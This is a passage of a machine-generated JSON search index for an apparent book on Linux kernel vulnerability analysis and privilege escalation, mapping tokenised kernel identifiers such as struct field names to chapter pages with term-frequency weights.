":"chapters/vulnerability-trigger.html","tf":0.002318840579710145},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0094151212553495},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0014001680201624195}}},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"v":{"docs":{},"e":{"docs":{},"_":{"docs":{},"m":{"docs":{},"m":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"u":{"docs":{},"d":{"docs":{},"i":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"b":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},"_":{"docs":{},"d":{"docs":{},"e":{"docs":{},"v":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"s":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"n":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"g":{"docs":{},"e":{"docs":{},"t":{"docs":{},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}}}}}}}}}}}}}}}},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"u":{"docs":{},"f":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"c":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"r":{"docs":{},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"o":{"docs":{},"m":{"docs":{},"p":{"docs":{},"a":{"docs":{},"t":{"docs":{},"_":{"docs":{},"r":{"docs":{},"o":{"docs":{},"b":{"docs":{},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"d":{"docs":{},"a":{"docs":{},"e":{"docs":{},"m":{"docs":{},"o":{"docs":{},"n":{"docs":{},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"e":{"docs":{},"l":{"docs":{},"a":{"docs":{},"y":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"p":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}},"r":{"docs":{},"o":{"docs":{},"m":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"a":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"p":{"docs":{},"o":{"docs":{},"i":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"l":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},"e":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"i":{"docs":{},"o":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"v":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0011201344161299357}},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"_":{"docs":{},"b":{"docs":{},"a":{"docs":{},"s":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0005600672080649678}}}},"j":{"docs":{},"o":{"docs":{},"u":{"docs":{},"r":{"docs":{},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"k":{"docs":{},"c":{"docs":{},"o":{"docs":{},"v":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}},"l":{"docs":{},"a":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"s":{"docs":{},"i":{"docs":{},"g":{"docs":{},"i":{"docs":{},"n":{"docs":{},"f":{"docs":{},"o":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"w":{"docs":{},"a":{"docs":{},"k":{"docs":{},"e":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"h":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}},"m":{"docs":{},"e":{"docs":{},"m":{"docs":{},"c":{"docs":{},"g":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"o":{"docs":{},"o":{"docs":{},"m":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"p":{"docs":{},"o":{"docs":{},"l":{"docs":{},"i":{"docs":{},"c":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"m":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"*":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"n":{"docs":{},"a":{"docs":{},"m":{"docs":{},"e":{"docs":{},"i":{"docs":{},"d":{"docs":{},"a":{"docs":{},"t":{"docs":{},"a":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},"e":{"docs":{},"w":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},")":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"t":{"docs":{},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}}},"x":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"s":{"docs":{},"p":{"docs":{},"r":{"docs":{},"o":{"docs":{},"x":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"u":{"docs":{},"m":{"docs":{},"a":{"docs":{},"_":{"docs":{},"f":{"docs":{},"a":{"docs":{},"u":{"docs":{},"l":{"docs":{},"t":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"o":{"docs":{},"d":{"docs":{},"p":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"o":{"docs":{},"l":{"docs":{},"d":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}},"o":{"docs":{},"m":{"docs":{},"_":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"v":{"docs":{},"f":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}}}}},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"g":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"e":{"docs":{},"r":{"docs":{},"f":{"docs":{},"_":{"docs":{},"e":{"docs":{},"v":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"t":{"docs":{},"x":{"docs":{},"p":{"docs":{},"[":{"docs":{},"p":{"docs":{},"e":{"docs":{},"r":{"docs":{},"f":{"docs":{},"_":{"docs":{},"n":{"docs":{},"r":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"c":{"docs":{},"o":{"docs":{},"n":{"docs":{},"t":{"docs":{},"e":{"docs":{},"x":{"docs":{},"t":{"docs":{},"s":{"docs":{},"]":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"i":{"docs":{},"_":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"o":{"docs":{},"n":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},"_":{"docs":{},"c":{"docs":{},"a":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"t":{"docs":{},"o":{"docs":{},"p":{"docs":{},"_":{"docs":{},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"l":{"docs":{},"u":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}},"r":{"docs":{},"e":{"docs":{},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"r":{"docs":{},"n":{"docs":{},"e":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},"(":{"docs":{},"s":{"docs":{},"t":{"docs":{},"r":{"docs":{},"u":{"docs":{},"c":{"docs":{},"t":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}}}}}}}}}},"o":{"docs":{},"c":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}},"e":{"docs":{},"s":{"docs":{},"s":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},",":{"docs":{"chapters/vulnerability-discovery.html":{"ref":"chapters/vulnerability-discovery.html","tf":0.003205128205128205},"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"t":{"docs":{},"r":{"docs":{},"a":{"docs":{},"c":{"docs":{},"e":{"docs":{},"r":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}},"u":{"docs":{},"t":{"docs":{},"_":{"docs":{},"a":{"docs":{},"d":{"docs":{},"d":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},"w":{"docs":{},"q":{"docs":{},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}},"o":{"docs":{},"s":{"docs":{},",":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"r":{"docs":{},"c":{"docs":{},"u":{"docs":{},"_":{"docs":{},"b":{"docs":{},"l":{"docs":{},"o":{"docs":{},"c":{"docs":{},"k":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"n":{"docs":{},"o":{"docs":{},"d":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"e":{"docs":{},"a":{"docs":{},"l":{"docs":{},"_":{"docs":{},"c":{"docs":{},"r":{"docs":{},"e":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"p":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"n":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"i":{"docs":{},"m":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"q":{"docs":{},"u":{"docs":{},"e":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},"_":{"docs":{},"a":{"docs":{},"u":{"docs":{},"t":{"docs":{},"h":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}},"t":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}},"g":{"docs":{},"s":{"docs":{},")":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"o":{"docs":{},"b":{"docs":{},"u":{"docs":{},"s":{"docs":{},"t":{"docs":{},"_":{"docs":{},"l":{"docs":{},"i":{"docs":{},"s":{"docs":{},"t":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}},"s":{"docs":{},"c":{"docs":{},"h":{"docs":{},"e":{"docs":{},"d":{"docs":{},"_":{"docs":{},"c":{"docs":{},"l":{"docs":{},"a":{"docs":{},"s":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},"_":{"docs":{},"g":{"docs":{},"r":{"docs":{},"o":{"docs":{},"u":{"docs":{},"p":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}}}},"e":{"docs":{},"c":{"docs":{},"u":{"docs":{},"r":{"docs":{},"i":{"docs":{},"t":{"docs":{},"y":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.0008521516829995739}}}}}}}}},"s":{"docs":{},"s":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"t":{"docs":{},"_":{"docs":{},"c":{"docs":{},"h":{"docs":{},"i":{"docs":{},"l":{"docs":{},"d":{"docs":{},"_":{"docs":{},"t":{"docs":{},"i":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"i":{"docs":{},"g":{"docs":{},"h":{"docs":{},"a":{"docs":{},"n":{"docs":{},"d":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"n":{"docs":{},"a":{"docs":{},"l":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}},"p":{"docs":{},"l":{"docs":{},"i":{"docs":{},"c":{"docs":{},"e":{"docs":{},"_":{"docs":{},"p":{"docs":{},"i":{"docs":{},"p":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}},"_":{"docs":{},"v":{"docs":{},"m":{"docs":{},"_":{"docs":{},"a":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}},"_":{"docs":{},"w":{"docs":{},"o":{"docs":{},"r":{"docs":{},"k":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"h":{"docs":{},"r":{"docs":{},"e":{"docs":{},"a":{"docs":{},"d":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}},"_":{"docs":{},"k":{"docs":{},"e":{"docs":{},"y":{"docs":{},"r":{"docs":{},"i":{"docs":{},"n":{"docs":{},"g":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}},")":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0011412268188302425}}},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}}}}}}},"i":{"docs":{},"m":{"docs":{},"e":{"docs":{},"_":{"docs":{},"i":{"docs":{},"n":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"t":{"docs":{},"e":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}}}}}}}},"o":{"docs":{},",":{"docs":{"chapters/vulnerability-trigger.html":{"ref":"chapters/vulnerability-trigger.html","tf":0.0011594202898550724}}}},"e":{"docs":{},"p":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}},"f":{"docs":{},"i":{"docs":{},"l":{"docs":{},"e":{"docs":{},",":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}}},"r":{"docs":{},"a":{"docs":{},"n":{"docs":{},"s":{"docs":{},"a":{"docs":{},"c":{"docs":{},"t":{"docs":{},"i":{"docs":{},"o":{"docs":{},"n":{"docs":{},"_":{"docs":{},"s":{"docs":{},"t":{"docs":{},"a":{"docs":{},"c":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606},"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}}}}}}}}}}}}}}},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/exploitation.html":{"ref":"chapters/exploitation.html","tf":0.0002800336040324839}}}}}},"u":{"docs":{},"s":{"docs":{},"e":{"docs":{},"r":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694},"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0005706134094151213}}},"_":{"docs":{},"n":{"docs":{},"s":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}}}},"t":{"docs":{},"a":{"docs":{},"s":{"docs":{},"k":{"docs":{},";":{"docs":{"chapters/linux-privilege-escalation.html":{"ref":"chapters/linux-privilege-escalation.html","tf":0.00042607584149978694}}}}}}},"b":{"docs":{},"u":{"docs":{},"f":{"docs":{"chapters/root-cause-analysis.html":{"ref":"chapters/root-cause-analysis.html","tf":0.0002853067047075606}}}}}},"v":{"docs":{},"f":{"docs":{},"